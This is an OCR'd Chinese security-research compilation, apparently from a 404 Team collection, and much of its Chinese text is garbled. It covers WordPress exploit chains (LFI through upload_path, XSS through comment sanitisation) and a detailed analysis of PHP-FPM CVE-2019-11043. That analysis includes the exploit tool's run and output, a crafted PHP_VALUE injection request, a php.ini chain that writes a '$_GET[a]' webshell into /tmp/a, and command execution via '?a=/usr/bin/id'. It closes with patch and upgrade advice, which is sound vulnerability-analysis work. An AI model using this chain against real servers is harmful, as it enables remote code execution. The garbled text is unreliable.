Twistlock; https://osseul9.sched.com/event/TLC4/in-and-out-security-of-copying-to-and-from-live-containers-
ariel-zelivansky-yuval-avrahami-twistlock

[17]. containerd; https://containerd.io/

ATECXRE
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PP sk BB EME: M CTF fBRAZ CVE-2019-5736 fBISIE O

ESXRELITEUHERE. BRARMREEMERNEZZEZRMIAR, BT lasS MENETE
Bh#, FA SDN/NFV FFfAMFER, RETHRUEEXRENTRERIF TR, REATHRSZD
ExR. 8. MURTUWERBMULIFARRE, ERINBCEHEENRELEBRRARE
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9.1

9.2

. Z WordPress FF/)— R R ATBHEITHEEN

EE: evil7
R https:/xz.aliyun.com/t/6805
&0
Z WordPress 7 7]—-- R SV ITHEEN (Z)
E WordPress 7 7)—-- R SV HITHEEN (=)
X PPT HEFFER, WitRBRUTHAREEMESIER. itk. Bk, BIEEREZEHIT
WAEBEKXRIR, SRECRESFENEEMBEIR, pdf R

ER

WordPress @ — M ERRITHNABTEERRS, B M%NWAERERENL., SRM. A M. 2%
MMEANIEGE (81 5w ) (& WordPress A 5 — M L B A B ILEANIRFNFF & FE BN P IR ER
Fatth 2T WMULAI RS, WordPress B] IAI# 4T HE X MMM, EBRZBUSMIGHEHESCHNASE
TE(EFALL CMS SRR BRI TAIRIL,

BE(—HEERE TS WordPress A1TIRAIZHE, fthAF AT A1ER bugBounty 1TX!, 3|7 &K
HILAEIT 5121, SRDARTHLE 0day KWEIAMTE SNSRI N EMEEIR. . S TU, WordPress
FEREFABBRER, FAUEITXMRIRMA CMS SFEE— T E XML, EBRtEFEINR
BEITRBRNAERG, ERthERNERWIR, RSIEMHEP

ZHFaXS WordPress 2 O0MURBFHITIRIAIZHER, FITRRZIRFIEKEIXBERE, ModRiElE
Web N AEFHERERRENGE (BR), EMERBEAERNAEMFERH#TIER (KBHEIT).

AER T EITEREABoBRAMLE, B TEMB/N bug HEHINEER AT RN ITFE
HABHAT exp-chain BI3T2, XHPEMEELI THANRE, RETHEN REIERE] AR [(EFE
ImFEIBIMIT] RORAE. PRB IR EHKEELS WordPress REFIAFHE R LA T .

BIMEEAFREFE TN X ERNXPTUEBNEMARARMRHEITAE, ERIUNEBFEAR
Bt TRREENERELR, HARSREARKEIRMIT FEML,

HENA

RENE T BATE LT WordPress BIATN, BE—ERBMRRE LNFEZRRBNGE, 7EBASRIEKE
THEZR (5140 WordPress) BY bug fRBE. S, BATRBEXERFINE—HERANMAERNEITRE.
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https://xz.aliyun.com/t/6807
https://xz.aliyun.com/t/6809

9.3

9.4

Py bagiin E WordPress FF/l— R = I3 iR gER
ERABEEAE

218 Web NARREFTRANKREETEZ (BRAA]l [BREK]. SEABEEZRER [ERE
#] 2—TRENFLRLN, AIeEE [(FRETNAPBA] HEETART, FUTRIHNMZIME
AR HITEIRLGIE, B0 BIRERE. XESASGIHITSHRREN, SLRFNER
WREENA, BIRERERFINE, RERSHAENIMEBLIEEEN.

e RIER— T IR 8] B AR I a0 AR :

$dir = $_GET

BT FEENS T fuzz AR, ARARAINRRESRERIVUEFED, SR, BIFITREE
SHNEITHN, FIRIREESLXLTLERLEEELBINERE (FRREEEE), HEHEX
IREBLE,

EREI 5 A ERRE

T WordPress ZFi@AHESRM 0days MERS, A [ARHA] [ERERE] XMEFSHEITHNAGES
ZKWELHNREZER. ERANARARIZIET . RITHABEAEZRPRE LM HRBXRE 9K
RHSHE, FRIAWSH 0day ZHREE %, XMBAERNRE, Z2+XEZE 23 MHSEMN AR
BESTR BT IEEE, EU*%L?EL;‘;E’JEP@*H ki [APmAl 3 [43E25E] TR,
BERONERES TS RZE, AEWZFERRITZTEERHENTINZESRMY, MISAR CTF EMN
g

FAMER RIPS RUFFSIIHEEE WordPress 12 0UABEY, FEET R [ARWA]l [LEZiE] a9
EUREZWESERZEECMNNGRIE, BE, PBEZBESMEARBIASS R —ENBEERN
HIRAVE, WELRAE —8®BAX WAMAIRRRE.

HSF ZAMEM) gadgets FAEREIEBEXNRE, BEEKARSHINELENRE (BEERTER
%) HREEBRRMY (self-xss/REEHMNRAVIRIE) . BNMBZILFES F. BEEIEANIH 0day B
iZlETE, (NBEXBTHNELRMRE “— RN NERZENRSEEZIIAE, Bit, XERIPR
A9 bug, FIREFHSHOTE IR LR, BRAMRIBEMET ., *

ATHREFSEMNAAN, HMNEBTEEREREPIRFHMBERNAE: “THASE exp-
chain”, BEHZMITMOREAREEMIIRKAER, TRAMNARETTE—TEEERE, EXTH
AE—T module B, ERTHEINGE LIRBEFEHXIK, BERELXRRE, SFHXMF ARRME
A (BAMRRERIN, EBRISARANALESLKI, W), SHRARNEIHEI BT IRR
UEEF'EHJ)\] DEHESSGXE [CRRH] N, BTERELIERETXERE, HARALERE
MARER, ERNELEXNTEMEINARE. B2, IFIUNEIARNANRITHES, (B8
nginx BL & SIRfE php_pathinfo BJ][E)
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9.5

9.5.1

9.5.2

b=V EvaX s Z WordPress FF /1 — = I3 B it H:gE
RKOoH

IEBAIE—TXFEESTRASEH], 7 WordPress A, BANER TR INRE (3FM), ERBHE TR
HREFIMMEINELXR, FAUDHBENERRMNEATFAN, (BEE, UTRHAIZEEEE
GANRT BEFTRBHEAN—TERH)) REINER TEE A BT _EEMRIEETNETRRITE
E PHP {18, {BiXZ55ath Al TR E WordPress [ TEUOHES . FIAEINEXKIZ— (ERE
PITHFSIRAN) RINERE.

BREOXGEE

BAVERFSKB T TREKIM T — WordPress ERARAMHEE (LFI) KRR (RIPS %@
RE) . EAFKEEMNIHBERE include O HATEAX 4, WordPress FNEBRZARER=EE
ARSI A T css X/js X, EtLt LFLRESE BRETEEEMN AN,

WordPress B RFIASBIEBRIB R, KBREEL include ) NSHEREMN, HNIFAIEE
MEfB RSEIREISIRRE, EDEEBNZIREMENR WordPress 7, FA1TTiE LIEEM M4
FZEFNBERFERERB ZRPFEFENNY . XEREREUELSRIERBRPETERMS
B85, HNBESAEBAIN payload, ™,

Eitt, ITRARAEREFRTHR, EARRERE, (EREAXITXTIER MR WordPress
1B4h) B2, WRBALEITTIAIE payload (EARIXTEME R TE?

S PREIRY TS R
T WordPress BRI T R B 2MERXXEF LTI TSI EBMABERT, FIE—NFAREEUE
FhA B EBMIA N E NG payload X EEBAEMER. HAXFE—TAAR, HITREX
WordPress RA—LE HEASBMEMNA G HITEIT, BAUED T XHBHAR, FIieEEBEHINEEN
IR EETHRE, EAXERRIEthUNE HIMXHHRE, B2, BAMRIREIRE, K= IT WordPress
RO ERTNREME—TCFR3R, AR SMEIRE HEX A ZMSREREIH B RSN X422 & TR,
Bt WordPress FRIEfF (900 Tige8) X EEIRRPRER, KRIN _EERESFEEES A a4
MR L AR, Bit, BAPSEM XL EEIRED AWM TR, FIUS. cxt KEX
% _E1&3 WordPress T, G223 :
1. B MR 2. MNEUEEIEX upload_path IREHIREN. txt KEIXHRIZEoNEINER 3. B¥X
HREIERER
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https://wordpress.org/support/article/hardening-wordpress/

9.6

b=V EvaX s Z WordPress FF /1 — = I3 B it H:gE

FILE UPLOAD PROCESS

DETERMINES UPLOAD
LOCATION

SANITIZING OPTION FILE MANAGEMENT
COMPONENT COMPOMNENT COMPONENT
SANITIZES THE MOWVES FILE TO
FILENAME UPLOAD LOCATION

MREET oxt XELEIRER, HORIMNTHABZBBRYE LFURERTGE, MREBSS
upload_path IREH{TAIIZRIERIEN, BPAZE. txt XABEH LERIFANFERB R,

uninstall_plugins
upload_path Jpoint/tofany/path

upload_url_path

WE, FH1AAE N upload_path FEEEREH X, tbal: AR WordPress 1€ 7 BAIAF &
twentyninteen, IRFAFKNTRE(ELL upload_path J wp-content/themes/twentyninteen FLHESET
ZHI include ) RBMELEXHEEIMER, EXVNEESEEAE R T XXHRIBRE], MMArLE
MAT. BEIEEMITER, HAEIRISTR—MERE php NA3HAT (RCE FIE™)

FHRBBFA

FRARFRZ—NFWENTE, TERESIAMMITAEUENSR, BEEASH AR BETE
faR. AL, ERN [BFRAA]l [BREE] SHHSERAFREREFLINXMHAS AN, MRR
& include O KIUIBR RBEH BN TEF AN R, EAN TEAMNBEEXL LI A D XD
HBEEZBT, BENFERRA, FNFAEEMNERXLES RS EtBHNINEEERRERFM, M
MBANFEZ-MEIVENTEITIZRSE (BB BERNREFITIMNBIATRAES, XL
RIRIEMANSEIRFHE— T 1S 0day.

Fitb, BAIEFBREZRESED AN NS EEFTREIT,
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9.6.1

9.6.2

pRErakil = WordPress FF/l—m = BB IHER
(—) AfRBISE
HF 2R/ NBERZBNERR, BEMT [Web NBTEFAZIE] 1 [IEZRMNEAEN] 28, Eit
% [Web NARTER] B [EREAH] BEEXH, 817 ERAMH] BT [BA%EE] A [web
R FERER] #EMISHTEEEMN, FRATREER R RIEEA [Web MATERF] BIFR—HAIR TN
EEEHIT,

OVERVIEW

Iﬁm\ T

“\ ,,f"

MELDIA FIL.E'S ‘\

COMMENTS

THEM ES

Blan, oE—" [EREAH] B IRLGE WordPress ERIEXRMINEEMNEZBE, 5—1 [XHEHF]
B]BEE WordPress A {HEIRLAM, AT ERTE X 4R, ERXEARNS—MHERERR
Ml BERREE, #TOE, BEEE, Fla [EJAM] ZREE, cMNZEREEXEN
KB, DRUIANZERRIROETE. (HEHITBI—1EFIRER)

&b
14

I:l
\

D

B~

(Z) RIhaeSIEEAH

MR AE IS EINREN BN ZER S [(BRIRAH], WM <XEQIE " KThEE, MrIMUM5RH
RZ [&RAMH] HAL.
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9.6.3

9.6.4

Py bagiin E WordPress FF/l— R = I3 iR gER

COMMENT FUNCTIOMNALITY
MODIFIES SANITIZED MODIFIES
HTML FOR SEO COMMENT
PURPOSES FOR DISPLAY
srost s
SANITIZING TIMIZATION DB THEME
COMPOMENT “OMPONENT COMPONEMT
REMOVES DANGEROUS STORES COMMENT
HTML TAGS AND IN DB
ATTRIBUTES

Bign, 7E WordPress HEIEXER [AFHIA] BT 2D [BIREAM] &8, REBAAER X
EiFie IhaE:

1. BSTEX XSS WiG#H1T 75 (XSS TigA M)

2. RIEEXS SEO #1T Ttk (SEO AAf%)

3. REBNEFHERIEETR (BIBEAM)

4. MEUIBEEHRSRENH BRI (YRiBLEH)

5. BRANFAERAY HTML TUE  (EFAH)

Mk, FAVETLNE < XEBIEE ThEED R WordPress B NAE [#ERAM] Frammg.

(Z) RIVEBEDEHEIT
BINRED BN ZTRRAMNG, BAIMAINUNETSSNRRAMHRINFR#A K6 X TRRAMG
RATER? X TM 2 FWE? BB RIREHEHE? ~

pian, £ (2) F, HFAVDH WordPress XEBIZRFE—T [SEO AM], ZAMHELIERA
&, RIELXEFI HTML #7%, ELbXTEE X ™™ 2 THE? BIRBARERE? ~°, oA,
iz [SEO Af] Ak, EFMMAXEFRAT SEO W+ HTML #7%, WNRBI IS MTERT R0
BRI RN ge= hE XSS iRiE. BAMSEMEREE SR, XLEREIHR T B0 E S
NMAMPRYIRE .

SMRARRE T ISHENE, TN EFRthERLAER T AATAIIRE. MEIRA )T
X (BRAFZVEURTHREITIIEBRRN. ERERSF) PEITREMAMGRIRME, (EHRNTURIME
AU IERFE, BNXLNRERE 2R BE.

() SRR AE
RBENENS R, BlEkea:
1. ¥ web MM (5REHEXE) STHEH
2. BINEEMSRA—RIVRRAMHNES, H7THRXERHIEEEXREX
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10.1

" PHP-fpm iZfi2(NIBH1TRE (CVE-2019-11043) 4

fE& . LoRexxar @ HEBGIF 404 LI

R https://paper.seebug.org/1063/

EINLZEMR G Andrew Danau 7Ef2/RA—1& CTF @B &M, @BRARSES URL &iX%0a RS0,
RSRERE, fUFERE.

2019 & 10 B 23 H, github A FFREHEXIIIFIEARK exp, 3 nginx EEAHN, &S5 php-fpm
ZRREERERNT,

TEBIME—RREERBINFADNT, XEFREBDHERD B ERANMAHF @Hcamael# 15E
BIF 404 TIE

RS
AT EEHENENRE, XEBAIRA vulhub RKAEFRIAE,
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

git pull 7 docker-compose up -d
1518] http://{your_ip}:8080/

5o C @ or . .. .1'3:8080/index.php

hello world

& github EAFFHY exp(BE go M15),

get github.com/neex/phuip-fpizdam

RERIF

install github.com/neex/phuip-fpizdam

{#F exp I iE demo i,
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PP sk PHP-fom iZf2BHMITRR (CVE-2019-11043) o

root@ubuntu:~# phuip-fpizdam http://1 3 }/index.php

2019/10/23 :15:59 Base status code is 200

2019/10/23 20:16:04 Status code 502 for qsl=1795, adding as a candidate

2019/10/23 20:16:31 Status code 502 for qsl=3740, adding as a candidate

2019/10/23 20:16:31 Status code 502 for qsl=3745, adding as a candidate

2619/16/23 20:16:43 The target is probably vulnerable. Possible QSLs: [1785 1796 1795 3730 3735

745]

2019/10/23 20:17:29 Attack params found: --qsl 1790 --pisos 243 --skip-detect

201% 10/23 20:17: Trying to set "session.auto_start=0"...

2019/10/23 :17:33 Detect() returned attack params: --gsl 1790 --pisos 243 --skip-detect <-- REMEMBEH
THIS

2019/16/23 20:17:33 Performing attack using php.ini settings...

2019/10/23 20:17:35 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'a
to URLs

2019/10/23 20:17: Trying to cleanup /tmp/a...

2019/10/23 20:17: Done!

[ C @ itd s N i 0/index.php?a=/usr/bin/id

uid=33(www-data) gid=33(www-data) groups=33(www-data) hello world

I BRI

10.2 D

FEoREEEZR, HATXERIUERIBABIZER commit
—https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0al c06a#diff-624bdd47ab6847d777el

path_info = script_path_translated + ptlen;

tflag = (slen != @ & (!orig_path_info || strcmp(orig_path_info, path_info) != @));
¥ else {
= path_info = env_path_info ? env_path_info + pilen - slen : NULL;

- tflag = (orig path_info != path_info);

+ path_info = {env_path_info && pilen » slen) ? env_path_info + pilen - slen : MULL;
£2 tflag = path_info && (orig_path_info != path_info);

if (tflag) {

M commit EATR AR IE AV E SRR B E N 1% E path_info AUMILEFIIZ SERRY, BESRE
RMERTTRYREE RPIRE

The regexp in ‘fastcgi_split_path_info‘ directive can be broken using the newline character (i

thEiZi%, = path_info #%0a EHFAT, path_info HWE RN, EIFINIIHIH AR BEFTE
7
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Py bagiin PHP-fom iZf2AIBH1TIRIE (CVE-2019-11043) ot

and seek to figure

/ - 4
| path_infofj#54%f
int ptlen = strlen(pt); A
int slen = len - ptlen;
int pilen = env_path_info ? strlen{env_path_info) : 8;
int tflag = ©;
char *path_info;
F che_was_here) { . 5

/* recall that PATH_INFO won't exist =/ / pllen ;\JO

path_info = script_path_translated + ptlegh

tflag = {slen != @ &% (lorig_path_info #f stromp(orig_path_info, path_info) != 9));
Yoelse.

path_info = env_path_info ? env_path_info + pilen - slen : NULL;

- tflag = (orig_path_info != path_info);
+ path_info = (env_path_info && pilen » slen) ? env_paifl_info + pilen - slenm : MWULL;
+ tflag = path_info && (orig_path_info != path_info);

slenn] %
path_ mfoT}Sf ) ¢ A

{orig_path_info) {

nar old;

Hrh env_path_info Fi/2Z = path_info B, path_info 59 0 NI plien 73 0.
slen TBEXRB TIEKG wl WKE

ptlen = strlen(pt);

slen = len - ptlen;

len = script_path_translated_len;

len A url BEKE
HiEK url N http:
script_path_translated XHTF nginx B9ECE, H/var/www/html/index.php/

ptlen M7 url EEF—TFIIZBEINATKE
HiEK url N http:

pt J/var/www/html/index.php

XA ZENEMSEENBERE, BHTRZFE, W path_info FIE,
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PP sk PHP-fom iz BH1TIRE (CVE-2019-11043) £otf

if (tflag) {
if (orig_path_info) {

char old; i %‘_0

FCQI_PUTENV{request,

pebddempath. drfafdde

"ORI: |_INFO", orig_path_info);

path_info[a] = ; |

if (lorig_script_nzme ||

"ORIG SCRIPT_NAME®, orig_script_name); il

5G{request_info).request uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
¥ oelseq
5G{request_info).regquest_uri = orig_script_name;
¥
path_info[8] = old;
} else if (apache_was_here && env_script_name) {

‘* Using mod_proxy_fcgi and ProxyPass, apache cannot set PATH INFD

T path_info BJ#%E, £ 1222 fTEAIM AT LUSIEEHUEES, RFBRBLIMENER, BN
EEMNMNANEERS, vJLAIRHIE _fcgi_data_seg ZEH{RHY char* pos BEF,

This issue leads to code execution. Later im the code, the value of path_info[@] is set to zero
(https://github.com/php/php-src/blob/master/sapi/fpm/fom/fpm_main.c#13115@); then FCGI_PUTENV is called. Using a
carefully chosen length of the URL path and query string, lan attacker can make path_info point precisely to the first
byte of fegi data_seg structure | Putting zero into it moves “char® pos” field backwards, and following FCGI_PUTENV
overwrites some data (including other fast cgi wvariables) with the script path.| Using this technique, I.was able to
create a take PHP_VALUE Tcgl wvariable and then use a chaim of caretully chosen config values to get codes - lecutiam.

H A script_name B3R B TiEKNEE

http://localhost/info.php/test?a=b

should produce, which btw is the same as if
we were running under mod_cgi on apache (ie. not

using ScriptAlias directives):

PATH_INFO=/test
PATH_TRAMNSLATED=/docroot/test
SCRIPT_NAME=/info.php

REQUEST _URI=/info.php/test?a=b
SCRIPT_FILEMAME=/docroot/info.php
QUERY_STRING=a=b

MR AFANUE _fcgi_data_seg LEHIRAY char* pos BEE, Mam/luZ] FCGI_PUTENV FY45RIE?
XEHNVRNEE FCGI_PUTENV HIE X.

* fcgi_quick_putenv(fcgi_request *req,

ERABREX fcgi_quick_putenv
https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fbbc3abda675aa67197b4/main/fastcgi.c#L.1703
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P Dbkl PHP-fom iZf2{CE3M4TIRE (CVE-2019-11043) S
char# —(-chl_reques't *reql char* var, int var_len, unsigned int hash_value, char* val)
i

if (val == NULL) {

fcgi_hash_del(&req-»env, hash_value, var, var_len);
return MULL;
T else {

return 1cgi_has1_set(&req->env, hash_value, var, var_len, val, (unsigned int)strlen(val)); I
H
; \ -

BR N B HRARAF request B env, TIX NS ETERIEIRTIAE X
https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fbb6c3abda675aa67197b4/main/fastcgi.c#L.908

#ifdef _WIN3Z
reg-»tcp = !GetlamedPipeInfo( (HANDLE) get osfhandle(reg-»listen_socket), MULL, NULL, MULL, MULL);
fendif

seny) ;

fcgi_hash_init(sfeq

return reqgs;

YREEER A RIE YR 2] fogi_hash_init.
https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3abda675aa67197b4/main/fastegi.c#L.254

static vold fcgi_hash_init{fcgi_hash *h)

i
memset{h->hash_table, @, sizeocf{h-rhash_table));
h-»1ist = MULL;
h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
h->buckets-»idw = 8;
h->buckets-=next = MULL;
h-»data = (fcgl_data_seg®)malloc(sizeof(fcgl_data_seg) - 1 + FCGI_HASH_SEG_SIZE);
h-»data->pos = h-»>data->data;
h->data-»end = h-»data-»pos + FCGI_HASH_SEG_SIZE;
h->data-»next = MULL;
}

M E 1R request->env Fi 2 BIEIIRFIRY fegi_data_seg Z5H91A, TIXEHY request->env 2 nginx 7EH]
fastcgi BIENEEFENEREE.
R ERTERTE nginx WEEEPENX

okt
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ubuntu@VM-0-12-ubuntu: /usr/local/nginx/conf$ cat fastcgi_params

fastcgi_param
fastcgi param
fastcgi param
fastcgi_param

fastcgi_param
fastcgi param
fastcgi_param
fastcgi param
fastcgi param
fastcgi param
fastcgi param

fastcgi param
fastcgi_param

QUERY_STRING
REQUEST_METHOD
CONTENT_TYPE
CONTENT_LENGTH

SCRIPT_NAME
REQUEST_URT
DOCUMENT _URT
DOCUMENT_ROOT
SERVER_PROTOCOL
REQUEST_SCHEME
HTTPS

GATEWAY_INTERFACE
SERVER_SOFTWARE

$query_string;
$request _method;
$content type;
$content_length;

$fastcgi_script_name;
$request uri;
$document_uri;
$document_root;
$server_protocol;
$scheme;

$https if not empty;

CGI/1.1;
nginx/$nginx_version;

fastcgi_param REMOTE_ADDR
fastcgi param REMOTE PORT
fastcgi param SERVER ADDR
fastcgi_param SERVER_PORT
fastcgi param SERVER NAME

$remote_addr;
$remote port;
$server_addr;
$server_port;
$server_name;

Hoh TS S7E AN E#E7E

@x55011ldle7o48:
@x55011ldlerB52:
@x35b1ldlere53:
@x55611d1e7657:
@x55611dle7ebb:
@x55011d1e7ob7 !
@x35011dle?or6:
@x35011ldler685:
@x35011ldlere94:
@x55611ldle7eal:
@x55b61ldlevoaf:
@x55011dle7eb9:
@x3501ldle7oc8:
@x35b1lldlefbch:
@x35blldleroda:
@x55611ldle76db:
@x5501ldle7ee?:
@x55011ldlevof4:
@x35011d1e?7a3:
@x55011ldle?711:
@x35011ldle?720:
@x55611dle?72f:
@x55611dle?73e:
@x55011d1e7741:

"PATH_INFO"

" 208"
"SCRIPT_FILENAME™
“AvarSwwwShtmLlAlt . L
"ndex .php/PHP_VA" . ..
"LUENnsession.aut”. ..
"o_start=1;;;"
“AvarSwww S htmL”
"HTTP_HOST™
"ubuntu. local ;88" . ..
"3p"
"HTTP_USER_AGENT™
"Mozillas5.@"
"HTTP_D_GIS0S"

"8, '=' «<repeats 11 times>, "0ORI"...

“O_SCRIPT_NAME"
"findex.php/PHP_" . ..
"VALUEMNnsess1ion.a”...
"uto_start=1;;;"

ﬁé@(w&5§$§ﬁp%%3

o' o (widDSSRON




b yax iy PHP-fom iz BH1TIRE (CVE-2019-11043) £otf

ERIF AR, XEH(@IIZH path_info F5A request->env SRAE request->env->pos EF,
k43 0] B M 1B PR EX fegi_hash_set PRER

static char® fcgi_ hash_set(fcgi hash *h, unsigned int hash_wvalue, char *var, unsigned int var_len, char *val, unsigned int val_len)

unsigned int idx = hash_value & F
fcgi hash_bucket *p = h->hash_table[idx];

HASH_TABLE_MASK;

while {UNEXPECTED(p != NULL}) {
if (UNEXPECTED(p-rhash_value == hash_value) &&
p-»var_lem == var_len &&

memcmp(p-»var, var, var_len} == @) {

p->val_len = wval_len;
p-»val = fcgi_hash_strndup(h, val, val_len};
return p-»wal;

3
i

p = p-*next;

if (UNEXPECTED(h->buckets-»idx »= FCGI_HASH_TABLE_SIZE)) {
fcgi_hash_buckets *b = (fcgi hash_buckets®)malloc(sizeof(fcgi_hash_buckets));
b-»idx = @;
b->next = h->buckets;
h->buckets = b;

i

p = h->buckets-»data + h->buckets->idx;

h->buckets- »idw++;

p-»next = h-»hash_table[idx];

h-»hash_table[idx] = p;

p-»1ist_next = h->»list;

h->1list = p;

p-*hash_wvalue = hash_value;

~p=terar—d L

p->var = Fegilk

p-»>val_len = val_len;

Ug{h, var, var_len);

p-»val = fcgi_hash_strndup({h, val, wval_len);

return p->val;

E3EEH N fcgi_hash_strndup

static inline char* fcgi hash_strndup{fcgi_hash *h, char *str, unsigned int str_lén)

£
char *ret; {

if (UMEXPECTED(h-»data-»pos + str_len + 1 »= h-:data-rend)) {
unsigned int seg size = (str_len + 1 » FCGI_HASH SEG_SIZE) ? str_lenm + 1 : FCGI_HASH_SEG_SIZE;

fcgi_data_seg *p = (fcgi_data_seg*imealloc(sizecf(fcgi data _seg) - 1 + seg size);

p-rpos = p-»rdata;
p-rend = p-»>pos + seg size;
p-rnext = h->data;
h->data = p;
s
ret = [ESdatas¥pos;
memcpy{ret, str, str_len);
ret[str_len] = 8;
h-»data-»pos += str_ls=n + 1;

return ret; \
1

XE h->data-) pos IRIRAIKEN 0, H str AR, SIS THATINERES AEIE.
MmEEMRET, HNEAERBNEZNUESHER? X EAOBIEENEES XHFE?
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REBHAVZ exp RIEHIHN BEYE MBI F

GET /index.php/PHP_VALUE}OAsession.auto_start=1;;;7QQQQQQQQAAAAAAAAAAAAAGAAAARARAARAARAARAARARARARA
Host: ubuntu.local:8080

User-Agent: Mozilla/5.0

D-Gisos: 8 D

Ebut: mamku tvoyu

EHIEEF, header PHREMIOMEN T THXEBSINEE, HEH D-Gisos AT, MHIEERY
UEBSANEIE.

i Ebut 249 HTTP_EBUT X" fastcgi_param FIIEP—TMEFHTE, RERNBETH—T
fastcgi P EFHEEREIREVBIRI S A,

https //github. com/php/php src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/ma1n/fastcg1 C#L328

static cher* gi_hash_set(fcgi hash *h, unsigned int hash_walue, char *var, unsigned int var_len, cha wal, unsigned int val_len

idx = hash_walue & FCGI_HASH_TABLE_MASK;

fcgi_hash_bucket *p = h->hash_table[idx];
ile (UNEXPECTED(p != NULL}) {
if (UNEXPECTED(p->hash_value == hash_value) &&

p->var_len == var_len &&
memcmp(p->var, var, wvar_len) == 8) {
p->val_len = val_len;
p->val = fcgi_hash_strndup(h, val, val_len);
return p-sval;
p->nex

FIUER S fastcgi BERME/EEN, FRBMEEMENKEFFMILE, AREIRR—TFRF

BEA value.
thElEiR, REMUESHE, var BEE, BKERRE, fastcgi IRIEEVEXI N AIEIE.
il HTTP_EBUT #] PHP_VALUE 1837 KEERE, FA 10T AMME L IR RENEX— =,
AEEEZRI, 1ZMIEXS N RN
pwndbg> p *(struct _fcgli_hash_bucket *) @x@@d855611dledq430
322 = {

hash_wvalue = 2825,

var_len = 9,

var = @x55611dle/71c "HTTP_EBUT",

val len 1,

=1
val = @x55611dley7Z0 "mamku twvoyu”,
next = E x55611dled41c@,

is — @x55611d1e4400 S :
list_next = @x55611d1e4400 o ( uﬂnmqﬁaﬁ‘réé‘*ﬁu

RIEWAT fegi_quick_putenv
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M55611bcd%dce <mairn+5318> call fcgi_guick_putenv <
rdi: +— QX6
rsi: «— push rl@
rdx: 9x108
rox: @x71e
rg: — Bx702e7Bb50b40e092f ('/index.p’)

@x55611bcd3dd3 -main+5315> mov rdi, gword r [rsp + @
@x55611bcdS amain+5328= o] rsi, gword ptr [rip + @
@x55611bcd9c <MMALH5S

8x55611bcd9ded amain+5332>

I HERT R EE TS
pwndbg= p *(struct _fcgi_hash_bucket *) 8x@d0055611dledd3d
323 = {
hash_value = 2025,
var_len = 9,
var = @x55611dle?71c "PHP_VALUE\nsess1"
val_len = 11,
val = @x556lldle?726 "session.auto_st”
next = @x55611dle41cd,
list_next = @x55611dle4400

L.fﬁh;J

-
25 ((will: c'{uan“l'ér__ 1)

BATRMINENT PHP_VALUE FZHIEAZR, XEMEWERA]AIUES PHP NEREREE.
HEATATLAZS PHP IR 2R EMARSMKE AR, XEEE EXP PERZINKE AR
REG A,

var chain| = []string{
"short_open_tag=1",
"html_errors=0",
"include path=/tmp",
"auto_prepend_file=a"

"log_errors=1",
“"error_reporting=2",
"error_log=/tmp/a",
"extension_dir=\"<?="\"",
"extension=\"$_GET[a] 2>\""

wpﬁ% SHAEREMER, HIBEERERXN/mp, ZEIZE log it A/tmp/a 71§ payload B
log X{4, 83T auto_prepend_file BoE & /tmp/a XAMERTXE,

10.3 mEfEE
LI RAIRANARE, BAEEMRAREBEXTRGE,
IEETIEE -
128 nginx HHNVAVECE, F7E php HXBIEEFINA
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10.4

10.5

Pk PHP-fom iZf2BH1TRE (CVE-2019-11043) o4k

EXMBERT, &8 nginx ENEXGEEEFE, AXHAEFEN, EREBTASWIEZEE] php-fpm,
EXEE:

¥& PHP 7.1.X EBFZE 7.1.33 https://github.com/php/php-src/releases/tag/php-7.1.33

¥ PHP 7.2.X EBHTZE 7.2.24 https://github.com/php/php-src/releases/tag/php-7.2.24

¥ PHP 7.3.X B ZE 7.3.11 https://github.com/php/php-src/releases/tag/php-7.3.11

AR

458 EXP github PREINVFIBFM, FATIURAENSEMNAFGURREZITEE,
1. Nginx + php_fpm, HECE location ~ [/].php(/l) php — fpm2Nginxfastcgisplityathinfo, RBTEIX
MR T T LUBE IR TRIRF T IEMIRIATNAIRT . ps: MF2IF index.php/321 -> index.php

fastcgi_split_path_info

.+7.php) (/.%)$

3. fastcgi_param B PATH_INFO &#% 7 X 83T fastcgi_param PATH_INFO $fastcgi_path_info;, R
XN T ERTE fastcgi_params BRIAE X, 4. 7E nginx BEDRA E XX XHEAIMEELLAN try_files $uri =404,
SN nginx FEM T XHRE, MIEKRASWEE KL php-fmp,

XNRAEEMMALEPNEIHREEER, EEXEFEREBETAEDH nginx FoE R
7R E, BEHARN nginx EEEABEXMMEE,

BHERHTFXNRE, EFZNEATEEARBSE D REZREIX MBS, BI90 Nginx
BAXAEHREHIECE . NextCloud BIANE, #HMEI 7TXNEM, ZREHEEINEDEITZR
ZERNRZE,

FERXMIERT, XTNREHLIITIEENEBAN T REZRMWEN, —BEENTHRENREWRERE,
HEMMWATEEME A EMNRS ZRZEE, BRANNEIKZENRIPFRIFNFER:>

SEHE

iME issue
RN E R ARG
iRE exp
i B E RS ER
RAMEE commit
vulhub

https://www.nginx.com/resources/wiki/start/topics/examples/phpfcgi/

Seebug AR
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https://bugs.php.net/bug.php?id=78599
https://www.dropbox.com/s/eio9zikkg1juuj7/reproducer.tar.xz?dl=0&file_subpath=%2Freproducer
https://github.com/neex/phuip-fpizdam
https://github.com/php/php-src/blob/ab061f95ca966731b1c84cf5b7b20155c0a1c06a/sapi/fpm/fpm/fpm_main.c
https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
https://www.seebug.org/vuldb/ssvid-98092

PP sk PHP-fom iz BH1TIRE (CVE-2019-11043) £otf
10.5.1 HIEEIF 404 L=

404 Team

FELITF 404 XRE, BEEIAREXNMRENNEZE R E)AE LI FRAMIAZOE], FEA
BEIF CSO. 404 TRENTRABFTF (RF) BOFIAT, FELIF 404 SLRERHNHT Web, 0T,
T2, XRESTFARERAEZE. BHRARNARIE, BREZXaERMZSRAA SR
BR. ER. Adobe, BB, WE, BEFRRXFREMRMR, AMBEERERE, ZIXAFHEXK
i, EUVREERSHNEFE,
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- CPDoS:

—FhERR Web 22755

FE BEBERRNE
SR https://www.anquanke.com/post/id/189507

0x00 RIS

CPDoS H9EFR9 Cache-Poisoned Denial-of-Service (,Eﬁ;’_i PIELARSS),

